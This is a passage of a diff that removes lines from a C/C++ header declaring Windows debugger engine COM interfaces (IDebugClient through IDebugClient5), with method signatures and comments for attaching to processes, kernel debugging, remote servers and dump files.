- THIS_
- __in ULONG Flags,
- __in ULONG HistoryLimit
- ) PURE;
- // Indicates that the engine should start accepting
- // remote connections. Options specifies connection types
- // and their parameters. Supported strings are:
- // npipe:Pipe=
- // tcp:Port=
- STDMETHOD(StartServer)(
- THIS_
- __in PCSTR Options
- ) PURE;
- // List the servers running on the given machine.
- // Uses the line prefix.
- STDMETHOD(OutputServers)(
- THIS_
- __in ULONG OutputControl,
- __in PCSTR Machine,
- __in ULONG Flags
- ) PURE;
-
- // Attempts to terminate all processes in the debuggers list.
- STDMETHOD(TerminateProcesses)(
- THIS
- ) PURE;
- // Attempts to detach from all processes in the debuggers list.
- // This requires OS support for debugger detach.
- STDMETHOD(DetachProcesses)(
- THIS
- ) PURE;
- // Stops the current debug session. If a process
- // was created or attached an active EndSession can
- // terminate or detach from it.
- // If a kernel connection was opened it will be closed but the
- // target machine is otherwise unaffected.
- STDMETHOD(EndSession)(
- THIS_
- __in ULONG Flags
- ) PURE;
- // If a process was started and ran to completion
- // this method can be used to retrieve its exit code.
- STDMETHOD(GetExitCode)(
- THIS_
- __out PULONG Code
- ) PURE;
-
- // Client event callbacks are called on the thread
- // of the client. In order to give thread
- // execution to the engine for callbacks all
- // client threads should call DispatchCallbacks
- // when they are idle. Callbacks are only
- // received when a thread calls DispatchCallbacks
- // or WaitForEvent. WaitForEvent can only be
- // called by the thread that started the debug
- // session so all other client threads should
- // call DispatchCallbacks when possible.
- // DispatchCallbacks returns when ExitDispatch is used
- // to interrupt dispatch or when the timeout expires.
- // DispatchCallbacks dispatches callbacks for all
- // clients associated with the thread calling
- // DispatchCallbacks.
- // DispatchCallbacks returns S_FALSE when the
- // timeout expires.
- STDMETHOD(DispatchCallbacks)(
- THIS_
- __in ULONG Timeout
- ) PURE;
- // ExitDispatch can be used to interrupt callback
- // dispatch when a client thread is needed by the
- // client. This method is reentrant and can
- // be called from any thread.
- STDMETHOD(ExitDispatch)(
- THIS_
- __in PDEBUG_CLIENT Client
- ) PURE;
-
- // Clients are specific to the thread that
- // created them. Calls from other threads
- // fail immediately. The CreateClient method
- // is a notable exception; it allows creation
- // of a new client for a new thread.
- STDMETHOD(CreateClient)(
- THIS_
- __out PDEBUG_CLIENT* Client
- ) PURE;
-
- STDMETHOD(GetInputCallbacks)(
- THIS_
- __out PDEBUG_INPUT_CALLBACKS* Callbacks
- ) PURE;
- STDMETHOD(SetInputCallbacks)(
- THIS_
- __in_opt PDEBUG_INPUT_CALLBACKS Callbacks
- ) PURE;
-
- // Output callback interfaces are described separately.
- STDMETHOD(GetOutputCallbacks)(
- THIS_
- __out PDEBUG_OUTPUT_CALLBACKS* Callbacks
- ) PURE;
- STDMETHOD(SetOutputCallbacks)(
- THIS_
- __in_opt PDEBUG_OUTPUT_CALLBACKS Callbacks
- ) PURE;
- // Output flags provide control over
- // the distribution of output among clients.
- // Output masks select which output streams
- // should be sent to the output callbacks.
- // Only Output calls with a mask that
- // contains one of the output mask bits
- // will be sent to the output callbacks.
- // These methods are reentrant.
- // If such access is not synchronized
- // disruptions in output may occur.
- STDMETHOD(GetOutputMask)(
- THIS_
- __out PULONG Mask
- ) PURE;
- STDMETHOD(SetOutputMask)(
- THIS_
- __in ULONG Mask
- ) PURE;
- // These methods allow access to another clients
- // output mask. They are necessary for changing
- // a clients output mask when it is
- // waiting for events. These methods are reentrant
- // and can be called from any thread.
- STDMETHOD(GetOtherOutputMask)(
- THIS_
- __in PDEBUG_CLIENT Client,
- __out PULONG Mask
- ) PURE;
- STDMETHOD(SetOtherOutputMask)(
- THIS_
- __in PDEBUG_CLIENT Client,
- __in ULONG Mask
- ) PURE;
- // Control the width of an output line for
- // commands which produce formatted output.
- // This setting is just a suggestion.
- STDMETHOD(GetOutputWidth)(
- THIS_
- __out PULONG Columns
- ) PURE;
- STDMETHOD(SetOutputWidth)(
- THIS_
- __in ULONG Columns
- ) PURE;
- // Some of the engines output commands produce
- // multiple lines of output. A prefix can be
- // set that the engine will automatically output
- // for each line in that case, allowing a caller
- // to control indentation or identifying marks.
- // This is not a general setting for any output
- // with a newline in it. Methods which use
- // the line prefix are marked in their documentation.
- STDMETHOD(GetOutputLinePrefix)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG PrefixSize
- ) PURE;
- STDMETHOD(SetOutputLinePrefix)(
- THIS_
- __in_opt PCSTR Prefix
- ) PURE;
-
- // Returns a string describing the machine
- // and user this client represents. The
- // specific content of the string varies
- // with operating system. If the client is
- // remotely connected some network information
- // may also be present.
- STDMETHOD(GetIdentity)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG IdentitySize
- ) PURE;
- // Format is a printf-like format string
- // with one %s where the identity string should go.
- STDMETHOD(OutputIdentity)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Flags,
- __in PCSTR Format
- ) PURE;
-
- // Event callbacks allow a client to
- // receive notification about changes
- // during the debug session.
- STDMETHOD(GetEventCallbacks)(
- THIS_
- __out PDEBUG_EVENT_CALLBACKS* Callbacks
- ) PURE;
- STDMETHOD(SetEventCallbacks)(
- THIS_
- __in_opt PDEBUG_EVENT_CALLBACKS Callbacks
- ) PURE;
-
- // The engine sometimes merges compatible callback
- // requests to reduce callback overhead. This is
- // most noticeable with output as small pieces of
- // output are collected into larger groups to
- // reduce the overall number of output callback calls.
- // A client can use this method to force all pending
- // callbacks to be delivered. This is rarely necessary.
- STDMETHOD(FlushCallbacks)(
- THIS
- ) PURE;
-
- // IDebugClient2.
-
- // Functions similarly to WriteDumpFile with
- // the addition of the ability to specify
- // per-dump-format write control flags.
- // Comment is not supported in all formats.
- STDMETHOD(WriteDumpFile2)(
- THIS_
- __in PCSTR DumpFile,
- __in ULONG Qualifier,
- __in ULONG FormatFlags,
- __in_opt PCSTR Comment
- ) PURE;
- // Registers additional files of supporting information
- // for a dump file open. This method must be called
- // before OpenDumpFile is called.
- // The files registered may be opened at the time
- // this method is called but generally will not
- // be used until OpenDumpFile is called.
- STDMETHOD(AddDumpInformationFile)(
- THIS_
- __in PCSTR InfoFile,
- __in ULONG Type
- ) PURE;
-
- // Requests that the remote process server shut down.
- STDMETHOD(EndProcessServer)(
- THIS_
- __in ULONG64 Server
- ) PURE;
- // Waits for a started process server to
- // exit. Allows an application running a
- // process server to monitor the process
- // server so that it can tell when a remote
- // client has asked for it to exit.
- // Returns S_OK if the process server has
- // shut down and S_FALSE for a timeout.
- STDMETHOD(WaitForProcessServerEnd)(
- THIS_
- __in ULONG Timeout
- ) PURE;
-
- // Returns S_OK if the system is configured
- // to allow kernel debugging.
- STDMETHOD(IsKernelDebuggerEnabled)(
- THIS
- ) PURE;
-
- // Attempts to terminate the current process.
- // Exit process events for the process may be generated.
- STDMETHOD(TerminateCurrentProcess)(
- THIS
- ) PURE;
- // Attempts to detach from the current process.
- // This requires OS support for debugger detach.
- STDMETHOD(DetachCurrentProcess)(
- THIS
- ) PURE;
- // Removes the process from the debuggers process
- // list without making any other changes. The process
- // will still be marked as being debugged and will
- // not run. This allows a debugger to be shut down
- // and a new debugger attached without taking the
- // process out of the debugged state.
- // This is only supported on some system versions.
- STDMETHOD(AbandonCurrentProcess)(
- THIS
- ) PURE;
-
- // IDebugClient3.
-
- STDMETHOD(GetRunningProcessSystemIdByExecutableNameWide)(
- THIS_
- __in ULONG64 Server,
- __in PCWSTR ExeName,
- __in ULONG Flags,
- __out PULONG Id
- ) PURE;
- STDMETHOD(GetRunningProcessDescriptionWide)(
- THIS_
- __in ULONG64 Server,
- __in ULONG SystemId,
- __in ULONG Flags,
- __out_ecount_opt(ExeNameSize) PWSTR ExeName,
- __in ULONG ExeNameSize,
- __out_opt PULONG ActualExeNameSize,
- __out_ecount_opt(DescriptionSize) PWSTR Description,
- __in ULONG DescriptionSize,
- __out_opt PULONG ActualDescriptionSize
- ) PURE;
-
- STDMETHOD(CreateProcessWide)(
- THIS_
- __in ULONG64 Server,
- __in PWSTR CommandLine,
- __in ULONG CreateFlags
- ) PURE;
- STDMETHOD(CreateProcessAndAttachWide)(
- THIS_
- __in ULONG64 Server,
- __in_opt PWSTR CommandLine,
- __in ULONG CreateFlags,
- __in ULONG ProcessId,
- __in ULONG AttachFlags
- ) PURE;
-};
-
-//
-// Special indices for GetDumpFile to return
-// alternate filenames.
-//
-
-// Special index that returns the name of the last .dmp file
-// that failed to load (whether directly or from inside a
-// .cab file).
-#define DEBUG_DUMP_FILE_LOAD_FAILED_INDEX 0xffffffff
-// Index that returns last cab file opened, this is needed to
-// get the name of original CAB file since debugger returns the
-// extracted dump file in the GetDumpFile method.
-#define DEBUG_DUMP_FILE_ORIGINAL_CAB_INDEX 0xfffffffe
-
-#undef INTERFACE
-#define INTERFACE IDebugClient4
-DECLARE_INTERFACE_(IDebugClient4, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugClient.
-
- // The following set of methods start
- // the different kinds of debuggees.
-
- // Begins a debug session using the kernel
- // debugging protocol. This method selects
- // the protocol as the debuggee communication
- // mechanism but does not initiate the communication
- // itself.
- STDMETHOD(AttachKernel)(
- THIS_
- __in ULONG Flags,
- __in_opt PCSTR ConnectOptions
- ) PURE;
- STDMETHOD(GetKernelConnectionOptions)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG OptionsSize
- ) PURE;
- // Updates the connection options for a live
- // kernel connection. This can only be used
- // to modify parameters for the connection, not
- // to switch to a completely different kind of
- // connection.
- // This method is reentrant.
- STDMETHOD(SetKernelConnectionOptions)(
- THIS_
- __in PCSTR Options
- ) PURE;
-
- // Starts a process server for remote
- // user-mode process control.
- // The local process server is server zero.
- STDMETHOD(StartProcessServer)(
- THIS_
- __in ULONG Flags,
- __in PCSTR Options,
- __in_opt __reserved PVOID Reserved
- ) PURE;
- STDMETHOD(ConnectProcessServer)(
- THIS_
- __in PCSTR RemoteOptions,
- __out PULONG64 Server
- ) PURE;
- STDMETHOD(DisconnectProcessServer)(
- THIS_
- __in ULONG64 Server
- ) PURE;
-
- // Enumerates and describes processes
- // accessible through the given process server.
- STDMETHOD(GetRunningProcessSystemIds)(
- THIS_
- __in ULONG64 Server,
- __out_ecount_opt(Count) PULONG Ids,
- __in ULONG Count,
- __out_opt PULONG ActualCount
- ) PURE;
- STDMETHOD(GetRunningProcessSystemIdByExecutableName)(
- THIS_
- __in ULONG64 Server,
- __in PCSTR ExeName,
- __in ULONG Flags,
- __out PULONG Id
- ) PURE;
- STDMETHOD(GetRunningProcessDescription)(
- THIS_
- __in ULONG64 Server,
- __in ULONG SystemId,
- __in ULONG Flags,
- __out_ecount_opt(ExeNameSize) PSTR ExeName,
- __in ULONG ExeNameSize,
- __out_opt PULONG ActualExeNameSize,
- __out_ecount_opt(DescriptionSize) PSTR Description,
- __in ULONG DescriptionSize,
- __out_opt PULONG ActualDescriptionSize
- ) PURE;
-
- // Attaches to a running user-mode process.
- STDMETHOD(AttachProcess)(
- THIS_
- __in ULONG64 Server,
- __in ULONG ProcessId,
- __in ULONG AttachFlags
- ) PURE;
- // Creates a new user-mode process for debugging.
- // CreateFlags are as given to Win32s CreateProcess.
- // One of DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS
- // must be specified.
- STDMETHOD(CreateProcess)(
- THIS_
- __in ULONG64 Server,
- __in PSTR CommandLine,
- __in ULONG CreateFlags
- ) PURE;
- // Creates or attaches to a user-mode process, or both.
- // If CommandLine is NULL this method operates as
- // AttachProcess does. If ProcessId is zero it
- // operates as CreateProcess does. If CommandLine is
- // non-NULL and ProcessId is non-zero the method first
- // starts a process with the given information but
- // in a suspended state. The engine then attaches to
- // the indicated process. Once the attach is successful
- // the suspended process is resumed. This provides
- // synchronization between the new process and the
- // attachment.
- STDMETHOD(CreateProcessAndAttach)(
- THIS_
- __in ULONG64 Server,
- __in_opt PSTR CommandLine,
- __in ULONG CreateFlags,
- __in ULONG ProcessId,
- __in ULONG AttachFlags
- ) PURE;
- // Gets and sets process control flags.
- STDMETHOD(GetProcessOptions)(
- THIS_
- __out PULONG Options
- ) PURE;
- STDMETHOD(AddProcessOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(RemoveProcessOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(SetProcessOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
-
- // Opens any kind of user- or kernel-mode dump file
- // and begins a debug session with the information
- // contained within it.
- STDMETHOD(OpenDumpFile)(
- THIS_
- __in PCSTR DumpFile
- ) PURE;
- // Writes a dump file from the current session information.
- // The kind of dump file written is determined by the
- // kind of session and the type qualifier given.
- // For example, if the current session is a kernel
- // debug session (DEBUG_CLASS_KERNEL) and the qualifier
- // is DEBUG_DUMP_SMALL a small kernel dump will be written.
- STDMETHOD(WriteDumpFile)(
- THIS_
- __in PCSTR DumpFile,
- __in ULONG Qualifier
- ) PURE;
-
- // Indicates that a remote client is ready to
- // begin participating in the current session.
- // HistoryLimit gives a character limit on
- // the amount of output history to be sent.
- STDMETHOD(ConnectSession)(
- THIS_
- __in ULONG Flags,
- __in ULONG HistoryLimit
- ) PURE;
- // Indicates that the engine should start accepting
- // remote connections. Options specifies connection types
- // and their parameters. Supported strings are:
- // npipe:Pipe=
- // tcp:Port=
- STDMETHOD(StartServer)(
- THIS_
- __in PCSTR Options
- ) PURE;
- // List the servers running on the given machine.
- // Uses the line prefix.
- STDMETHOD(OutputServers)(
- THIS_
- __in ULONG OutputControl,
- __in PCSTR Machine,
- __in ULONG Flags
- ) PURE;
-
- // Attempts to terminate all processes in the debuggers list.
- STDMETHOD(TerminateProcesses)(
- THIS
- ) PURE;
- // Attempts to detach from all processes in the debuggers list.
- // This requires OS support for debugger detach.
- STDMETHOD(DetachProcesses)(
- THIS
- ) PURE;
- // Stops the current debug session. If a process
- // was created or attached an active EndSession can
- // terminate or detach from it.
- // If a kernel connection was opened it will be closed but the
- // target machine is otherwise unaffected.
- STDMETHOD(EndSession)(
- THIS_
- __in ULONG Flags
- ) PURE;
- // If a process was started and ran to completion
- // this method can be used to retrieve its exit code.
- STDMETHOD(GetExitCode)(
- THIS_
- __out PULONG Code
- ) PURE;
-
- // Client event callbacks are called on the thread
- // of the client. In order to give thread
- // execution to the engine for callbacks all
- // client threads should call DispatchCallbacks
- // when they are idle. Callbacks are only
- // received when a thread calls DispatchCallbacks
- // or WaitForEvent. WaitForEvent can only be
- // called by the thread that started the debug
- // session so all other client threads should
- // call DispatchCallbacks when possible.
- // DispatchCallbacks returns when ExitDispatch is used
- // to interrupt dispatch or when the timeout expires.
- // DispatchCallbacks dispatches callbacks for all
- // clients associated with the thread calling
- // DispatchCallbacks.
- // DispatchCallbacks returns S_FALSE when the
- // timeout expires.
- STDMETHOD(DispatchCallbacks)(
- THIS_
- __in ULONG Timeout
- ) PURE;
- // ExitDispatch can be used to interrupt callback
- // dispatch when a client thread is needed by the
- // client. This method is reentrant and can
- // be called from any thread.
- STDMETHOD(ExitDispatch)(
- THIS_
- __in PDEBUG_CLIENT Client
- ) PURE;
-
- // Clients are specific to the thread that
- // created them. Calls from other threads
- // fail immediately. The CreateClient method
- // is a notable exception; it allows creation
- // of a new client for a new thread.
- STDMETHOD(CreateClient)(
- THIS_
- __out PDEBUG_CLIENT* Client
- ) PURE;
-
- STDMETHOD(GetInputCallbacks)(
- THIS_
- __out PDEBUG_INPUT_CALLBACKS* Callbacks
- ) PURE;
- STDMETHOD(SetInputCallbacks)(
- THIS_
- __in_opt PDEBUG_INPUT_CALLBACKS Callbacks
- ) PURE;
-
- // Output callback interfaces are described separately.
- STDMETHOD(GetOutputCallbacks)(
- THIS_
- __out PDEBUG_OUTPUT_CALLBACKS* Callbacks
- ) PURE;
- STDMETHOD(SetOutputCallbacks)(
- THIS_
- __in_opt PDEBUG_OUTPUT_CALLBACKS Callbacks
- ) PURE;
- // Output flags provide control over
- // the distribution of output among clients.
- // Output masks select which output streams
- // should be sent to the output callbacks.
- // Only Output calls with a mask that
- // contains one of the output mask bits
- // will be sent to the output callbacks.
- // These methods are reentrant.
- // If such access is not synchronized
- // disruptions in output may occur.
- STDMETHOD(GetOutputMask)(
- THIS_
- __out PULONG Mask
- ) PURE;
- STDMETHOD(SetOutputMask)(
- THIS_
- __in ULONG Mask
- ) PURE;
- // These methods allow access to another clients
- // output mask. They are necessary for changing
- // a clients output mask when it is
- // waiting for events. These methods are reentrant
- // and can be called from any thread.
- STDMETHOD(GetOtherOutputMask)(
- THIS_
- __in PDEBUG_CLIENT Client,
- __out PULONG Mask
- ) PURE;
- STDMETHOD(SetOtherOutputMask)(
- THIS_
- __in PDEBUG_CLIENT Client,
- __in ULONG Mask
- ) PURE;
- // Control the width of an output line for
- // commands which produce formatted output.
- // This setting is just a suggestion.
- STDMETHOD(GetOutputWidth)(
- THIS_
- __out PULONG Columns
- ) PURE;
- STDMETHOD(SetOutputWidth)(
- THIS_
- __in ULONG Columns
- ) PURE;
- // Some of the engines output commands produce
- // multiple lines of output. A prefix can be
- // set that the engine will automatically output
- // for each line in that case, allowing a caller
- // to control indentation or identifying marks.
- // This is not a general setting for any output
- // with a newline in it. Methods which use
- // the line prefix are marked in their documentation.
- STDMETHOD(GetOutputLinePrefix)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG PrefixSize
- ) PURE;
- STDMETHOD(SetOutputLinePrefix)(
- THIS_
- __in_opt PCSTR Prefix
- ) PURE;
-
- // Returns a string describing the machine
- // and user this client represents. The
- // specific content of the string varies
- // with operating system. If the client is
- // remotely connected some network information
- // may also be present.
- STDMETHOD(GetIdentity)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG IdentitySize
- ) PURE;
- // Format is a printf-like format string
- // with one %s where the identity string should go.
- STDMETHOD(OutputIdentity)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Flags,
- __in PCSTR Format
- ) PURE;
-
- // Event callbacks allow a client to
- // receive notification about changes
- // during the debug session.
- STDMETHOD(GetEventCallbacks)(
- THIS_
- __out PDEBUG_EVENT_CALLBACKS* Callbacks
- ) PURE;
- STDMETHOD(SetEventCallbacks)(
- THIS_
- __in_opt PDEBUG_EVENT_CALLBACKS Callbacks
- ) PURE;
-
- // The engine sometimes merges compatible callback
- // requests to reduce callback overhead. This is
- // most noticeable with output as small pieces of
- // output are collected into larger groups to
- // reduce the overall number of output callback calls.
- // A client can use this method to force all pending
- // callbacks to be delivered. This is rarely necessary.
- STDMETHOD(FlushCallbacks)(
- THIS
- ) PURE;
-
- // IDebugClient2.
-
- // Functions similarly to WriteDumpFile with
- // the addition of the ability to specify
- // per-dump-format write control flags.
- // Comment is not supported in all formats.
- STDMETHOD(WriteDumpFile2)(
- THIS_
- __in PCSTR DumpFile,
- __in ULONG Qualifier,
- __in ULONG FormatFlags,
- __in_opt PCSTR Comment
- ) PURE;
- // Registers additional files of supporting information
- // for a dump file open. This method must be called
- // before OpenDumpFile is called.
- // The files registered may be opened at the time
- // this method is called but generally will not
- // be used until OpenDumpFile is called.
- STDMETHOD(AddDumpInformationFile)(
- THIS_
- __in PCSTR InfoFile,
- __in ULONG Type
- ) PURE;
-
- // Requests that the remote process server shut down.
- STDMETHOD(EndProcessServer)(
- THIS_
- __in ULONG64 Server
- ) PURE;
- // Waits for a started process server to
- // exit. Allows an application running a
- // process server to monitor the process
- // server so that it can tell when a remote
- // client has asked for it to exit.
- // Returns S_OK if the process server has
- // shut down and S_FALSE for a timeout.
- STDMETHOD(WaitForProcessServerEnd)(
- THIS_
- __in ULONG Timeout
- ) PURE;
-
- // Returns S_OK if the system is configured
- // to allow kernel debugging.
- STDMETHOD(IsKernelDebuggerEnabled)(
- THIS
- ) PURE;
-
- // Attempts to terminate the current process.
- // Exit process events for the process may be generated.
- STDMETHOD(TerminateCurrentProcess)(
- THIS
- ) PURE;
- // Attempts to detach from the current process.
- // This requires OS support for debugger detach.
- STDMETHOD(DetachCurrentProcess)(
- THIS
- ) PURE;
- // Removes the process from the debuggers process
- // list without making any other changes. The process
- // will still be marked as being debugged and will
- // not run. This allows a debugger to be shut down
- // and a new debugger attached without taking the
- // process out of the debugged state.
- // This is only supported on some system versions.
- STDMETHOD(AbandonCurrentProcess)(
- THIS
- ) PURE;
-
- // IDebugClient3.
-
- STDMETHOD(GetRunningProcessSystemIdByExecutableNameWide)(
- THIS_
- __in ULONG64 Server,
- __in PCWSTR ExeName,
- __in ULONG Flags,
- __out PULONG Id
- ) PURE;
- STDMETHOD(GetRunningProcessDescriptionWide)(
- THIS_
- __in ULONG64 Server,
- __in ULONG SystemId,
- __in ULONG Flags,
- __out_ecount_opt(ExeNameSize) PWSTR ExeName,
- __in ULONG ExeNameSize,
- __out_opt PULONG ActualExeNameSize,
- __out_ecount_opt(DescriptionSize) PWSTR Description,
- __in ULONG DescriptionSize,
- __out_opt PULONG ActualDescriptionSize
- ) PURE;
-
- STDMETHOD(CreateProcessWide)(
- THIS_
- __in ULONG64 Server,
- __in PWSTR CommandLine,
- __in ULONG CreateFlags
- ) PURE;
- STDMETHOD(CreateProcessAndAttachWide)(
- THIS_
- __in ULONG64 Server,
- __in_opt PWSTR CommandLine,
- __in ULONG CreateFlags,
- __in ULONG ProcessId,
- __in ULONG AttachFlags
- ) PURE;
-
- // IDebugClient4.
-
- // In the following methods both a filename and a file
- // handle can be passed in. If a file handle is given
- // the filename may be omitted, although providing it
- // allows the debugger to properly report the name when
- // queried.
- // File handles cannot be used in remote calls.
- STDMETHOD(OpenDumpFileWide)(
- THIS_
- __in_opt PCWSTR FileName,
- __in ULONG64 FileHandle
- ) PURE;
- STDMETHOD(WriteDumpFileWide)(
- THIS_
- __in_opt PCWSTR FileName,
- __in ULONG64 FileHandle,
- __in ULONG Qualifier,
- __in ULONG FormatFlags,
- __in_opt PCWSTR Comment
- ) PURE;
- STDMETHOD(AddDumpInformationFileWide)(
- THIS_
- __in_opt PCWSTR FileName,
- __in ULONG64 FileHandle,
- __in ULONG Type
- ) PURE;
- // These methods can be used to retrieve
- // file information for all targets that
- // involve files.
- STDMETHOD(GetNumberDumpFiles)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetDumpFile)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG NameSize,
- __out_opt PULONG64 Handle,
- __out PULONG Type
- ) PURE;
- STDMETHOD(GetDumpFileWide)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG NameSize,
- __out_opt PULONG64 Handle,
- __out PULONG Type
- ) PURE;
-};
-
-#undef INTERFACE
-#define INTERFACE IDebugClient5
-DECLARE_INTERFACE_(IDebugClient5, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugClient.
-
- // The following set of methods start
- // the different kinds of debuggees.
-
- // Begins a debug session using the kernel
- // debugging protocol. This method selects
- // the protocol as the debuggee communication
- // mechanism but does not initiate the communication
- // itself.
- STDMETHOD(AttachKernel)(
- THIS_
- __in ULONG Flags,
- __in_opt PCSTR ConnectOptions
- ) PURE;
- STDMETHOD(GetKernelConnectionOptions)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG OptionsSize
- ) PURE;
- // Updates the connection options for a live
- // kernel connection. This can only be used
- // to modify parameters for the connection, not
- // to switch to a completely different kind of
- // connection.
- // This method is reentrant.
- STDMETHOD(SetKernelConnectionOptions)(
- THIS_
- __in PCSTR Options
- ) PURE;
-
- // Starts a process server for remote
- // user-mode process control.
- // The local process server is server zero.
- STDMETHOD(StartProcessServer)(
- THIS_
- __in ULONG Flags,
- __in PCSTR Options,
- __in_opt __reserved PVOID Reserved
- ) PURE;
- STDMETHOD(ConnectProcessServer)(
- THIS_
- __in PCSTR RemoteOptions,
- __out PULONG64 Server
- ) PURE;
- STDMETHOD(DisconnectProcessServer)(
- THIS_
- __in ULONG64 Server
- ) PURE;
-
- // Enumerates and describes processes
- // accessible through the given process server.
- STDMETHOD(GetRunningProcessSystemIds)(
- THIS_
- __in ULONG64 Server,
- __out_ecount_opt(Count) PULONG Ids,
- __in ULONG Count,
- __out_opt PULONG ActualCount
- ) PURE;
- STDMETHOD(GetRunningProcessSystemIdByExecutableName)(
- THIS_
- __in ULONG64 Server,
- __in PCSTR ExeName,
- __in ULONG Flags,
- __out PULONG Id
- ) PURE;
- STDMETHOD(GetRunningProcessDescription)(
- THIS_
- __in ULONG64 Server,
- __in ULONG SystemId,
- __in ULONG Flags,
- __out_ecount_opt(ExeNameSize) PSTR ExeName,
- __in ULONG ExeNameSize,
- __out_opt PULONG ActualExeNameSize,
- __out_ecount_opt(DescriptionSize) PSTR Description,
- __in ULONG DescriptionSize,
- __out_opt PULONG ActualDescriptionSize
- ) PURE;
-
- // Attaches to a running user-mode process.
- STDMETHOD(AttachProcess)(
- THIS_
- __in ULONG64 Server,
- __in ULONG ProcessId,
- __in ULONG AttachFlags
- ) PURE;
- // Creates a new user-mode process for debugging.
- // CreateFlags are as given to Win32s CreateProcess.
- // One of DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS
- // must be specified.
- STDMETHOD(CreateProcess)(
- THIS_
- __in ULONG64 Server,
- __in PSTR CommandLine,
- __in ULONG CreateFlags
- ) PURE;
- // Creates or attaches to a user-mode process, or both.
- // If CommandLine is NULL this method operates as
- // AttachProcess does. If ProcessId is zero it
- // operates as CreateProcess does. If CommandLine is
- // non-NULL and ProcessId is non-zero the method first
- // starts a process with the given information but
- // in a suspended state. The engine then attaches to
- // the indicated process. Once the attach is successful
- // the suspended process is resumed. This provides
- // synchronization between the new process and the
- // attachment.
- STDMETHOD(CreateProcessAndAttach)(
- THIS_
- __in ULONG64 Server,
- __in_opt PSTR CommandLine,
- __in ULONG CreateFlags,
- __in ULONG ProcessId,
- __in ULONG AttachFlags
- ) PURE;
- // Gets and sets process control flags.
- STDMETHOD(GetProcessOptions)(
- THIS_
- __out PULONG Options
- ) PURE;
- STDMETHOD(AddProcessOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(RemoveProcessOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(SetProcessOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
-
- // Opens any kind of user- or kernel-mode dump file
- // and begins a debug session with the information
- // contained within it.
- STDMETHOD(OpenDumpFile)(
- THIS_
- __in PCSTR DumpFile
- ) PURE;
- // Writes a dump file from the current session information.
- // The kind of dump file written is determined by the
- // kind of session and the type qualifier given.
- // For example, if the current session is a kernel
- // debug session (DEBUG_CLASS_KERNEL) and the qualifier
- // is DEBUG_DUMP_SMALL a small kernel dump will be written.
- STDMETHOD(WriteDumpFile)(
- THIS_
- __in PCSTR DumpFile,
- __in ULONG Qualifier
- ) PURE;
-
- // Indicates that a remote client is ready to
- // begin participating in the current session.
- // HistoryLimit gives a character limit on
- // the amount of output history to be sent.
- STDMETHOD(ConnectSession)(
- THIS_
- __in ULONG Flags,
- __in ULONG HistoryLimit
- ) PURE;
- // Indicates that the engine should start accepting
- // remote connections. Options specifies connection types
- // and their parameters. Supported strings are:
- // npipe:Pipe=
- // tcp:Port=
- STDMETHOD(StartServer)(
- THIS_
- __in PCSTR Options
- ) PURE;
- // List the servers running on the given machine.
- // Uses the line prefix.
- STDMETHOD(OutputServers)(
- THIS_
- __in ULONG OutputControl,
- __in PCSTR Machine,
- __in ULONG Flags
- ) PURE;
-
- // Attempts to terminate all processes in the debuggers list.
- STDMETHOD(TerminateProcesses)(
- THIS
- ) PURE;
- // Attempts to detach from all processes in the debuggers list.
- // This requires OS support for debugger detach.
- STDMETHOD(DetachProcesses)(
- THIS
- ) PURE;
- // Stops the current debug session. If a process
- // was created or attached an active EndSession can
- // terminate or detach from it.
- // If a kernel connection was opened it will be closed but the
- // target machine is otherwise unaffected.
- STDMETHOD(EndSession)(
- THIS_
- __in ULONG Flags
- ) PURE;
- // If a process was started and ran to completion
- // this method can be used to retrieve its exit code.
- STDMETHOD(GetExitCode)(
- THIS_
- __out PULONG Code
- ) PURE;
-
- // Client event callbacks are called on the thread
- // of the client. In order to give thread
- // execution to the engine for callbacks all
- // client threads should call DispatchCallbacks
- // when they are idle. Callbacks are only
- // received when a thread calls DispatchCallbacks
- // or WaitForEvent. WaitForEvent can only be
- // called by the thread that started the debug
- // session so all other client threads should
- // call DispatchCallbacks when possible.
- // DispatchCallbacks returns when ExitDispatch is used
- // to interrupt dispatch or when the timeout expires.
- // DispatchCallbacks dispatches callbacks for all
- // clients associated with the thread calling
- // DispatchCallbacks.
- // DispatchCallbacks returns S_FALSE when the
- // timeout expires.
- STDMETHOD(DispatchCallbacks)(
- THIS_
- __in ULONG Timeout
- ) PURE;
- // ExitDispatch can be used to interrupt callback
- // dispatch when a client thread is needed by the
- // client. This method is reentrant and can
- // be called from any thread.
- STDMETHOD(ExitDispatch)(
- THIS_
- __in PDEBUG_CLIENT Client
- ) PURE;
